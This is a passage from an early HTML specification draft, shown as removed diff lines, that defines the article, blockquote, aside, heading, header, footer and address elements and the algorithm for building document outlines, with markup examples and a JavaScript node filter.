-  <p>When <code><a href="#article0">article</a></code> elements are nested,
-   the inner <code><a href="#article0">article</a></code> elements represent
-   articles that are in principle related to the contents of the outer
-   article. For instance, a Web log entry on a site that accepts
-   user-submitted comments could represent the comments as <code><a
-   href="#article0">article</a></code> elements nested within the <code><a
-   href="#article0">article</a></code> element for the Web log entry.
-
-  <p>Author information associated with an <code><a
-   href="#article0">article</a></code> element (q.v. the <code><a
-   href="#address0">address</a></code> element) does not apply to nested
-   <code><a href="#article0">article</a></code> elements.
-
-  <p>Each <code><a href="#article0">article</a></code> element potentially
-   has a heading. See the section on <a href="#headings1">headings and
-   sections</a> for further details.
-
-  <h4 id=the-blockquote><span class=secno>3.8.5. </span>The <dfn
-   id=blockquote0><code>blockquote</code></dfn> element</h4>
-
-  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a
-   href="#block-level1" title="block-level elements">block-level element</a>,
-   and <a href="#structured" title="structured inline-level
-   elements">structured inline-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dd>Where <a href="#structured">structured inline-level elements</a> are
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-blockquote-cite><a href="#cite0">cite</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlquoteelement>HTMLQuoteElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#cite1" title=dom-quote-cite>cite</a>;
-};</pre>
-
-    <p class=note>The <code><a
-     href="#htmlquoteelement">HTMLQuoteElement</a></code> interface is also
-     used by the <code><a href="#q0">q</a></code> element.</p>
-  </dl>
-
-  <p>The <code><a href="#blockquote0">blockquote</a></code> element
-   represents a section that is quoted from another source.
-
-  <p>Content inside a <code><a href="#blockquote0">blockquote</a></code> must
-   be quoted from another source, whose URI, if it has one, should be cited
-   in the <dfn id=cite0 title=attr-blockquote-cite><code>cite</code></dfn>
-   attribute.
-
-  <p>If the <code title=attr-blockquote-cite><a href="#cite0">cite</a></code>
-   attribute is present, it must be a URI (or IRI). User agents should allow
-   users to follow such citation links.
-
-  <p>If a <code><a href="#blockquote0">blockquote</a></code> element is <a
-   href="#preceeded">preceeded or followed</a> by a <code><a
-   href="#p0">p</a></code> element that contains a single <code><a
-   href="#cite3">cite</a></code> element and is itself not <a
-   href="#preceeded">preceeded or followed</a> by another <code><a
-   href="#blockquote0">blockquote</a></code> element and does not itself have
-   a <code><a href="#q0">q</a></code> element descendant, then, the citation
-   given by that <code><a href="#cite3">cite</a></code> element gives the
-   source of the quotation contained in the <code><a
-   href="#blockquote0">blockquote</a></code> element.
-
-  <p>Each <code><a href="#blockquote0">blockquote</a></code> element
-   potentially has a heading. See the section on <a
-   href="#headings1">headings and sections</a> for further details.
-
-  <p>The <dfn id=cite1 title=dom-quote-cite><code>cite</code></dfn> DOM
-   attribute <code>reflects</code> the element's <code title="">cite</code>
-   content attribte.
-
-  <p class=note>The best way to represent a conversation is not with the
-   <code><a href="#cite3">cite</a></code> and <code><a
-   href="#blockquote0">blockquote</a></code> elements, but with the <code><a
-   href="#dialog0">dialog</a></code> element.
-
-  <h4 id=the-aside><span class=secno>3.8.6. </span>The <dfn
-   id=aside0><code>aside</code></dfn> element</h4>
-
-  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a
-   href="#block-level1" title="block-level elements">block-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>, or <a
-    href="#inline-level1">inline-level content</a> (but not both).
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd><code title=class-example><a href="#example1">example</a></code>,
-    <code title=class-issue><a href="#issue0">issue</a></code>, <code
-    title=class-note><a href="#note0">note</a></code>, <code
-    title=class-search><a href="#search1">search</a></code>, <code
-    title=class-warning><a href="#warning0">warning</a></code>
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#aside0">aside</a></code> element represents a
-   section of a page that consists of content that is tangentially related to
-   the content around the <code><a href="#aside0">aside</a></code> element,
-   and which could be considered separate from that content. Such sections
-   are often represented as sidebars in printed typography.
-
-  <p>When <a href="#determining2" title="Determining if a particular element
-   contains block-level elements or inline-level content">used as an
-   inline-level content</a> container, the element represents a <a
-   href="#paragraph">paragraph</a>.
-
-  <p>Each <code><a href="#aside0">aside</a></code> element potentially has a
-   heading. See the section on <a href="#headings1">headings and sections</a>
-   for further details.
-
-  <h4 id=the-h1><span class=secno>3.8.7. </span>The <dfn
-   id=h10><code>h1</code></dfn>, <dfn id=h20><code>h2</code></dfn>, <dfn
-   id=h30><code>h3</code></dfn>, <dfn id=h40><code>h4</code></dfn>, <dfn
-   id=h50><code>h5</code></dfn>, and <dfn id=h60><code>h6</code></dfn>
-   elements</h4>
-
-  <p><a href="#block-level1">Block-level elements</a>.
-
-  <dl class=element>
-   <dt>Contexts in which these elements may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd><a href="#significant" title="significant inline
-    content">Significant</a> <a href="#strictly">strictly inline-level
-    content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>These elements define headers for their sections.
-
-  <p>The semantics and meaning of these elements are defined in the section
-   on <a href="#headings1">headings and sections</a>.
-
-  <p>These elements have a <dfn id=rank>rank</dfn> given by the number in
-   their name. The <code><a href="#h10">h1</a></code> element is said to have
-   the highest rank, the <code><a href="#h60">h6</a></code> element has the
-   lowest rank, and two elements with the same name have equal rank.
-
-  <p>These elements must not be <a href="#significant" title="significant
-   inline content">empty</a>.
-
-  <h4 id=the-header><span class=secno>3.8.8. </span>The <dfn
-   id=header0><code>header</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected
-    and there are no <code><a href="#header0">header</a></code> ancestors.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>,
-    including at least one descendant <code><a href="#h10">h1</a></code>,
-    <code><a href="#h20">h2</a></code>, <code><a href="#h30">h3</a></code>,
-    <code><a href="#h40">h4</a></code>, <code><a href="#h50">h5</a></code>,
-    or <code><a href="#h60">h6</a></code> element, but no <span>sectioning
-    element</span> descendants, no <code><a href="#header0">header</a></code>
-    element descendants, and no <code><a href="#footer0">footer</a></code>
-    element descendants.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#header0">header</a></code> element represents the
-   header of a section. Headers may contain more than just the section's
-   heading AMPERSANDmdash; for example it would be reasonable for the header to
-   include version history information.
-
-  <p><code><a href="#header0">header</a></code> elements must not contain any
-   <code><a href="#header0">header</a></code> elements, <code><a
-   href="#footer0">footer</a></code> elements, or any sectioning elements
-   (such as <code><a href="#section0">section</a></code>) as descendants.
-
-  <p><code><a href="#header0">header</a></code> elements must have at least
-   one <code><a href="#h10">h1</a></code>, <code><a
-   href="#h20">h2</a></code>, <code><a href="#h30">h3</a></code>, <code><a
-   href="#h40">h4</a></code>, <code><a href="#h50">h5</a></code>, or <code><a
-   href="#h60">h6</a></code> element as a descendant.
-
-  <p>For the purposes of document summaries, outlines, and the like, <code><a
-   href="#header0">header</a></code> elements are equivalent to the highest
-   <a href="#rank" title=rank>ranked</a> <code><a
-   href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> element
-   descendant (the first such element if there are multiple elements with
-   that <a href="#rank">rank</a>).
-
-  <p>Other heading elements indicate subheadings or subtitles.
-
-  <div class=example>
-   <p>Here are some examples of valid headers. In each case, the emphasised
-    text represents the text that would be used as the header in an
-    application extracting header data and ignoring subheadings.</p>
-
-   <pre>AMPERSANDlt;headerAMPERSANDgt;
- AMPERSANDlt;h1AMPERSANDgt;<strong>The reality dysfunction</strong>AMPERSANDlt;/h1AMPERSANDgt;
- AMPERSANDlt;h2AMPERSANDgt;Space is not the only voidAMPERSANDlt;/h2AMPERSANDgt;
-AMPERSANDlt;/headerAMPERSANDgt;</pre>
-
-   <pre>AMPERSANDlt;headerAMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;Welcome to...AMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;h1AMPERSANDgt;<strong>Voidwars!</strong>AMPERSANDlt;/h1AMPERSANDgt;
-AMPERSANDlt;/headerAMPERSANDgt;</pre>
-
-   <pre>AMPERSANDlt;headerAMPERSANDgt;
- AMPERSANDlt;h1AMPERSANDgt;<strong>Scalable Vector Graphics (SVG) 1.2</strong>AMPERSANDlt;/h1AMPERSANDgt;
- AMPERSANDlt;h2AMPERSANDgt;W3C Working Draft 27 October 2004AMPERSANDlt;/h2AMPERSANDgt;
- AMPERSANDlt;dlAMPERSANDgt;
-  AMPERSANDlt;dtAMPERSANDgt;This version:AMPERSANDlt;/dtAMPERSANDgt;
-  AMPERSANDlt;ddAMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/TR/2004/WD-SVG12-20041027/"AMPERSANDgt;http://www.w3.org/TR/2004/WD-SVG12-20041027/AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;
-  AMPERSANDlt;dtAMPERSANDgt;Previous version:AMPERSANDlt;/dtAMPERSANDgt;
-  AMPERSANDlt;ddAMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/TR/2004/WD-SVG12-20040510/"AMPERSANDgt;http://www.w3.org/TR/2004/WD-SVG12-20040510/AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;
-  AMPERSANDlt;dtAMPERSANDgt;Latest version of SVG 1.2:AMPERSANDlt;/dtAMPERSANDgt;
-  AMPERSANDlt;ddAMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/TR/SVG12/"AMPERSANDgt;http://www.w3.org/TR/SVG12/AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;
-  AMPERSANDlt;dtAMPERSANDgt;Latest SVG Recommendation:AMPERSANDlt;/dtAMPERSANDgt;
-  AMPERSANDlt;ddAMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/TR/SVG/"AMPERSANDgt;http://www.w3.org/TR/SVG/AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;
-  AMPERSANDlt;dtAMPERSANDgt;Editor:AMPERSANDlt;/dtAMPERSANDgt;
-  AMPERSANDlt;ddAMPERSANDgt;Dean Jackson, W3C, AMPERSANDlt;a href="mailto:dean@w3.org"AMPERSANDgt;dean@w3.orgAMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;
-  AMPERSANDlt;dtAMPERSANDgt;Authors:AMPERSANDlt;/dtAMPERSANDgt;
-  AMPERSANDlt;ddAMPERSANDgt;See AMPERSANDlt;a href="#authors"AMPERSANDgt;Author ListAMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;
- AMPERSANDlt;/dlAMPERSANDgt;
- AMPERSANDlt;p class="copyright"AMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/Consortium/Legal/ipr-notic <em>...</em>
-AMPERSANDlt;/headerAMPERSANDgt;</pre>
-  </div>
-
-  <p>The section on <a href="#headings1">headings and sections</a> defines
-   how <code><a href="#header0">header</a></code> elements are assigned to
-   individual sections.
-
-  <p>The <a href="#rank">rank</a> of a <code><a
-   href="#header0">header</a></code> element is the same as for an <code><a
-   href="#h10">h1</a></code> element (the highest rank).
-
-  <h4 id=the-footer><span class=secno>3.8.9. </span>The <dfn
-   id=footer0><code>footer</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>Either zero or more <a href="#block-level1">block-level elements</a>,
-    but with no <code><a href="#h10">h1</a></code>, <code><a
-    href="#h20">h2</a></code>, <code><a href="#h30">h3</a></code>, <code><a
-    href="#h40">h4</a></code>, <code><a href="#h50">h5</a></code>, <code><a
-    href="#h60">h6</a></code>, <code><a href="#header0">header</a></code>, or
-    <code><a href="#footer0">footer</a></code> elements as descendants, and
-    with no <a href="#sectioning" title="sectioning elements">sectioning
-    elements</a> as descendants; or, <a href="#inline-level1">inline-level
-    content</a> (but not both).
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#footer0">footer</a></code> element represents the
-   footer for the section it <a href="#applyToSection">applies</a> to. A
-   footer typically contains information about its section such as who wrote
-   it, links to related documents, copyright data, and the like.
-
-  <p><code><a href="#footer0">footer</a></code> elements must not contain any
-   <code><a href="#footer0">footer</a></code>, <code><a
-   href="#header0">header</a></code>, <code><a href="#h10">h1</a></code>,
-   <code><a href="#h20">h2</a></code>, <code><a href="#h30">h3</a></code>,
-   <code><a href="#h40">h4</a></code>, <code><a href="#h50">h5</a></code>, or
-   <code><a href="#h60">h6</a></code> elements, or any of the sectioning
-   elements (such as <code><a href="#section0">section</a></code>), as
-   descendants.
-
-  <p>When <a href="#determining2" title="Determining if a particular element
-   contains block-level elements or inline-level content">used as an
-   inline-level content</a> container, the element represents a <a
-   href="#paragraph">paragraph</a>.
-
-  <p>Contact information for the section given in a <code><a
-   href="#footer0">footer</a></code> should be marked up using the <code><a
-   href="#address0">address</a></code> element.</p>
-  <!-- XXX examples needed -->
-
-  <h4 id=the-address><span class=secno>3.8.10. </span>The <dfn
-   id=address0><code>address</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd><a href="#inline-level1">Inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#address0">address</a></code> element represents a <a
-   href="#paragraph">paragraph</a> of contact information for the section it
-   <a href="#applyToSection">applies</a> to.
-
-  <div class=example>
-   <p>For example, a page at the W3C Web site related to HTML might include
-    the following contact information:</p>
-
-   <pre>AMPERSANDlt;ADDRESS>
- AMPERSANDlt;A href="../People/Raggett/">Dave RaggettAMPERSANDlt;/A>, 
- AMPERSANDlt;A href="../People/Arnaud/">Arnaud Le HorsAMPERSANDlt;/A>, 
- contact persons for the AMPERSANDlt;A href="Activity">W3C HTML ActivityAMPERSANDlt;/A>
-AMPERSANDlt;/ADDRESS></pre>
-  </div>
-
-  <p>The <code><a href="#address0">address</a></code> element must not be
-   used to represent arbitrary addresses (e.g. postal addresses), unless
-   those addresses are contact information for the section. (The <code><a
-   href="#p0">p</a></code> element is the appropriate element for marking up
-   such addresses.)
-
-  <p>The <code><a href="#address0">address</a></code> element must not
-   contain information other than contact information.
-
-  <div class=example>
-   <p>For example, the following is non-conforming use of the <code><a
-    href="#address0">address</a></code> element:</p>
-
-   <pre>AMPERSANDlt;ADDRESS>Last Modified: 1999/12/24 23:37:50AMPERSANDlt;/ADDRESS></pre>
-  </div>
-
-  <p>Typically, the <code><a href="#address0">address</a></code> element
-   would be included with other information in a <code><a
-   href="#footer0">footer</a></code> element.
-
-  <p>To determine the contact information for a sectioning element (such as a
-   document's <code><a href="#body1">body</a></code> element, which would
-   give the contact information for the page), UAs must collect all the
-   <code><a href="#address0">address</a></code> elements that <a
-   href="#applyToSection">apply</a> to that sectioning element and its
-   ancestor sectioning elements. The contact information is the collection of
-   all the information given by those elements.
-
-  <p class=note>Contact information for one sectioning element, e.g. a
-   <code><a href="#aside0">aside</a></code> element, does not apply to its
-   ancestor elements, e.g. the page's <code><a href="#body1">body</a></code>.
-
-  <h4 id=headings><span class=secno>3.8.11. </span><dfn id=headings1>Headings
-   and sections</dfn></h4>
-
-  <p>The <code><a href="#h10">h1</a></code>-<code><a
-   href="#h60">h6</a></code> elements and the <code><a
-   href="#header0">header</a></code> element are headings.
-
-  <p>The first heading in a sectioning element gives the header for that
-   section. Subsequent headers of equal or higher <a href="#rank">rank</a>
-   start new (implied) sections, headers of lower <a href="#rank">rank</a>
-   start subsections that are part of the previous one.
-
-  <p>Sectioning elements other than <code><a
-   href="#blockquote0">blockquote</a></code> are always considered
-   subsections of their nearest ancestor sectioning element, regardless of
-   what implied sections other headings may have created. However, <code><a
-   href="#blockquote0">blockquote</a></code> elements <em>are</em> associated
-   with implied sections. Effectively, <code><a
-   href="#blockquote0">blockquote</a></code> elements act like sections on
-   the inside, and act opaquely on the outside.
-
-  <div class=example>
-   <p>For the following fragment:</p>
-
-   <pre>AMPERSANDlt;bodyAMPERSANDgt;
- AMPERSANDlt;h1AMPERSANDgt;FooAMPERSANDlt;/h1AMPERSANDgt;
- AMPERSANDlt;h2AMPERSANDgt;BarAMPERSANDlt;/h2AMPERSANDgt;
- AMPERSANDlt;blockquoteAMPERSANDgt;
-  AMPERSANDlt;h3AMPERSANDgt;BlaAMPERSANDlt;/h3AMPERSANDgt;
- AMPERSANDlt;/blockquoteAMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;BazAMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;h2AMPERSANDgt;QuuxAMPERSANDlt;/h2AMPERSANDgt;
- AMPERSANDlt;sectionAMPERSANDgt;
-  AMPERSANDlt;h3AMPERSANDgt;ThudAMPERSANDlt;/h3AMPERSANDgt;
- AMPERSANDlt;/sectionAMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;GruntAMPERSANDlt;/pAMPERSANDgt;
-AMPERSANDlt;/bodyAMPERSANDgt;</pre>
-
-   <p>...the structure would be:</p>
-
-   <ol>
-    <li> Foo (heading of explicit <code><a href="#body1">body</a></code>
-     section)
-     <ol>
-      <li> Bar (heading starting implied section)
-       <ol>
-        <li> Bla (heading of explicit <code><a
-         href="#blockquote0">blockquote</a></code> section)
-       </ol>
-       Baz (paragraph)
-
-      <li> Quux (heading starting implied section)
-
-      <li> Thud (heading of explicit <code><a
-       href="#section0">section</a></code> section)
-     </ol>
-     Grunt (paragraph)
-   </ol>
-
-   <p>Notice how the <code><a href="#blockquote0">blockquote</a></code> nests
-    inside an implicit section while the <code><a
-    href="#section0">section</a></code> does not (and in fact, ends the
-    earlier implicit section so that a later paragraph is back at the top
-    level).</p>
-  </div>
-
-  <p>Sections may contain headers of any <a href="#rank">rank</a>, but
-   authors are strongly encouraged to either use only <code><a
-   href="#h10">h1</a></code> elements, or to use elements of the appropriate
-   <a href="#rank">rank</a> for the section's nesting level.
-
-  <p>Authors are also encouraged to explictly wrap sections in sectioning
-   elements, instead of relying on the implicit sections generated by having
-   multiple heading in one sectioning element.
-
-  <div class=example>
-   <p>For example, the following is correct:</p>
-
-   <pre>AMPERSANDlt;bodyAMPERSANDgt;
- AMPERSANDlt;h4AMPERSANDgt;ApplesAMPERSANDlt;/h4AMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;Apples are fruit.AMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;sectionAMPERSANDgt;
-  AMPERSANDlt;h2AMPERSANDgt;TasteAMPERSANDlt;/h2AMPERSANDgt;
-  AMPERSANDlt;pAMPERSANDgt;They taste lovely.AMPERSANDlt;/pAMPERSANDgt;
-  AMPERSANDlt;h6AMPERSANDgt;SweetAMPERSANDlt;/h6AMPERSANDgt;
-  AMPERSANDlt;pAMPERSANDgt;Red apples are sweeter than green ones.AMPERSANDlt;/pAMPERSANDgt;
-  AMPERSANDlt;h1AMPERSANDgt;ColorAMPERSANDlt;/h1AMPERSANDgt;
-  AMPERSANDlt;pAMPERSANDgt;Apples come in various colors.AMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;/sectionAMPERSANDgt;
-AMPERSANDlt;/bodyAMPERSANDgt;</pre>
-
-   <p>However, the same document would be more clearly expressed as:</p>
-
-   <pre>AMPERSANDlt;bodyAMPERSANDgt;
- AMPERSANDlt;h1AMPERSANDgt;ApplesAMPERSANDlt;/h1AMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;Apples are fruit.AMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;sectionAMPERSANDgt;
-  AMPERSANDlt;h2AMPERSANDgt;TasteAMPERSANDlt;/h2AMPERSANDgt;
-  AMPERSANDlt;pAMPERSANDgt;They taste lovely.AMPERSANDlt;/pAMPERSANDgt;
-  AMPERSANDlt;sectionAMPERSANDgt;
-   AMPERSANDlt;h3AMPERSANDgt;SweetAMPERSANDlt;/h3AMPERSANDgt;
-   AMPERSANDlt;pAMPERSANDgt;Red apples are sweeter than green ones.AMPERSANDlt;/pAMPERSANDgt;
-  AMPERSANDlt;/sectionAMPERSANDgt;
- AMPERSANDlt;/sectionAMPERSANDgt;
- AMPERSANDlt;sectionAMPERSANDgt;
-  AMPERSANDlt;h2AMPERSANDgt;ColorAMPERSANDlt;/h2AMPERSANDgt;
-  AMPERSANDlt;pAMPERSANDgt;Apples come in various colors.AMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;/sectionAMPERSANDgt;
-AMPERSANDlt;/bodyAMPERSANDgt;</pre>
-
-   <p>Both of the documents above are semantically identical and would
-    produce the same outline in compliant user agents.</p>
-  </div>
-
-  <h5 id=outlines><span class=secno>3.8.11.1. </span>Creating an outline</h5>
-
-  <p>Documents can be viewed as a tree of sections, which defines how each
-   element in the tree is semantically related to the others, in terms of the
-   overall section structure. This tree is related to the document tree, but
-   there is not a one-to-one relationship between elements in the DOM and the
-   document's sections.
-
-  <p>The tree of sections should be used when generating document outlines,
-   for example when generating tables of contents.
-
-  <p>To derive the tree of sections from the document tree, a hypothetical
-   tree is used, consisting of a view of the document tree containing only
-   the <code><a href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>
-   and <code><a href="#header0">header</a></code> elements, and the
-   sectioning elements other than <code><a
-   href="#blockquote0">blockquote</a></code>. Descendants of <code><a
-   href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>, <code><a
-   href="#header0">header</a></code>, and <code><a
-   href="#blockquote0">blockquote</a></code> elements must be removed from
-   this view.
-
-  <p>The hypothetical tree must be rooted at the <a href="#root-element">root
-   element</a> or at a sectioning element. In particular, while the sections
-   inside <code><a href="#blockquote0">blockquote</a></code>s do not
-   contribute to the document's tree of sections, <code><a
-   href="#blockquote0">blockquote</a></code>s can have outlines of their own.
-
-  <p>UAs must take this hypothetical tree (which will become the outline) and
-   mutate it by walking it depth first in <a href="#tree-order">tree
-   order</a> and, for each <code><a href="#h10">h1</a></code>-<code><a
-   href="#h60">h6</a></code> or <code><a href="#header0">header</a></code>
-   element that is not the first element of its parent sectioning element,
-   inserting a new sectioning element, as follows:
-
-  <dl class=switch>
-   <dt>If the element is a <code><a href="#header0">header</a></code>
-    element, or if it is an <code><a href="#h10">h1</a></code>-<code><a
-    href="#h60">h6</a></code> node of <a href="#rank">rank</a> equal to or
-    higher than the first element in the parent sectioning element (assuming
-    that is also an <code><a href="#h10">h1</a></code>-<code><a
-    href="#h60">h6</a></code> node), or if the first element of the parent
-    sectioning element is a sectioning element:
-
-   <dd>Insert the new sectioning element as the immediately following sibling
-    of the parent sectioning element, and move all the elements from the
-    current heading element up to the end of the parent sectioning element
-    into the new sectioning element.
-
-   <dt>Otherwise:
-
-   <dd>Move the current heading element, and all subsequent siblings up to
-    but excluding the next sectioning element, <code><a
-    href="#header0">header</a></code> element, or <code><a
-    href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> of equal or
-    higher <a href="#rank">rank</a>, whichever comes first, into the new
-    sectioning element, then insert the new sectioning element where the
-    current header was.
-  </dl>
-
-  <p>The outline is then the resulting hypothetical tree. The <a
-   href="#rank">rank</a>s of the headers become irrelevant at this point:
-   each sectioning element in the hypothetical tree contains either no or one
-   heading element child. If there is one, then it gives the section's
-   heading, of there isn't, the section has no heading.
-
-  <p>Sections are nested as in the hypothetical tree. If a sectioning element
-   is a child of another, that means it is a subsection of that other
-   section.
-
-  <p>When creating an interactive table of contents, entries should jump the
-   user to the relevant section element, if it was a real element in the
-   original document, or to the heading, if the section element was one of
-   those created during the above process.
-
-  <p class=example>Selecting the first section of the document therefore
-   always takes the user to the top of the document, regardless of where the
-   first header in the <code><a href="#body1">body</a></code> is to be found.</p>
-  <!-- XXX assuming there is a body, anyway -->
-
-  <div class=note>
-   <p>The hypothetical tree (before mutations) could be generated by creating
-    a <code>TreeWalker</code> with the following <a
-    href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter"><code>NodeFilter</code></a>
-    (described here as an anonymous ECMAScript function). <a
-    href="#refsDOMTR">[DOMTR]</a> <a href="#refsECMA262">[ECMA262]</a></p>
-
-   <pre>function (n) {
-  // This implementation only knows about HTML elements.
-  // An implementation that supports other languages might be
-  // different.
-
-  // Reject anything that isn't an element.
-  if (n.nodeType != Node.ELEMENT_NODE)
-    return NodeFilter.FILTER_REJECT;
-
-  // Skip any descendants of headings.
-  if (n.parentNode AMPERSANDAMPERSAND n.parentNode.namespaceURI == 'http://www.w3.org/1999/xhtml') AMPERSANDAMPERSAND
-      (n.parentNode.localName == 'h1' || n.parentNode.localName == 'h2' ||
-       n.parentNode.localName == 'h3' || n.parentNode.localName == 'h4' ||
-       n.parentNode.localName == 'h5' || n.parentNode.localName == 'h6' ||
-       n.parentNode.localName == 'header')
-    return NodeFilter.FILTER_REJECT;
-
-  // Skip any blockquotes.
-  if (n.namespaceURI == 'http://www.w3.org/1999/xhtml') AMPERSANDAMPERSAND
-      (n.localName == 'blockquote'))
-    return NodeFilter.FILTER_REJECT;
-
-  // Accept HTML elements in the list given in the prose above.
-  if ((n.namespaceURI == 'http://www.w3.org/1999/xhtml') AMPERSANDAMPERSAND
-      (n.localName == 'body' || /*n.localName == 'blockquote' ||*/
-       n.localName == 'section' || n.localName == 'nav' ||
-       n.localName == 'article' || n.localName == 'aside' ||
-       n.localName == 'h1' || n.localName == 'h2' ||
-       n.localName == 'h3' || n.localName == 'h4' ||
-       n.localName == 'h5' || n.localName == 'h6' ||
-       n.localName == 'header'))
-    return NodeFilter.FILTER_ACCEPT;
-
-  // Skip the rest.
-  return NodeFilter.FILTER_SKIP;
-}</pre>
-  </div>
-
-  <h5 id=associatedSection><span class=secno>3.8.11.2. </span>Determining
-   which heading and section applies to a particular node</h5>
-
-  <p>Given a particular node, user agents must use the following algorithm,
-   <em>in the given order</em>, to determine which heading and section the
-   node is most closely associated with. The processing of this algorithm
-   must stop as soon as the associated section and heading are established
-   (even if they are established to be nothing).
-
-  <ol>
-   <li>If the node has an ancestor that is a <code><a
-    href="#header0">header</a></code> element, then the associated heading is
-    the most distant such ancestor. The associated section is that <code><a
-    href="#header0">header</a></code>'s associated section (i.e. repeat this
-    algorithm for that <code><a href="#header0">header</a></code>).
-
-   <li>If the node has an ancestor that is an <code><a
-    href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> element,
-    then the associated heading is the most distant such ancestor. The
-    associated section is that heading's section (i.e. repeat this algorithm
-    for that heading element).
-
-   <li>If the node is an <code><a href="#h10">h1</a></code>-<code><a
-    href="#h60">h6</a></code> element or a <code><a
-    href="#header0">header</a></code> element, then the associated heading is
-    the element itself. The UA must then generate the <a
-    href="#outlines">hypothetical section tree</a> described in the previous
-    section, rooted at the nearest section ancestor (or the <a
-    href="#root-element">root element</a> if there is no such ancestor). If
-    the parent of the heading in that hypothetical tree is an element in the
-    real document tree, then that element is the associated section.
-    Otherwise, there is no associated section element.
-
-   <li>If the node is a sectioning element, then the associated section is
-    itself. The UA must then generate the <a href="#outlines">hypothetical
-    section tree</a> described in the previous section, rooted at the section
-    itself. If the section element, in that hypothetical tree, has a child
-    element that is an <code><a href="#h10">h1</a></code>-<code><a
-    href="#h60">h6</a></code> element or a <code><a
-    href="#header0">header</a></code> element, then that element is the
-    associated heading. Otherwise, there is no associated heading element.
-
-   <li>If the node is a <code><a href="#footer0">footer</a></code> or
-    <code><a href="#address0">address</a></code> element, then the associated
-    section is the nearest ancestor sectioning element, if there is one. The
-    node's associated heading is the same as that sectioning element's
-    associated heading (i.e. repeat this algorithm for that sectioning
-    element). If there is no ancestor sectioning element, the element has no
-    associated section nor an associated heading.
-
-   <li>Otherwise, the node is just a normal node, and the document has to be
-    examined more closely to determine its section and heading. Create a view
-    rooted at the nearest ancestor sectioning element (or the <a
-    href="#root-element">root element</a> if there is none) that has just
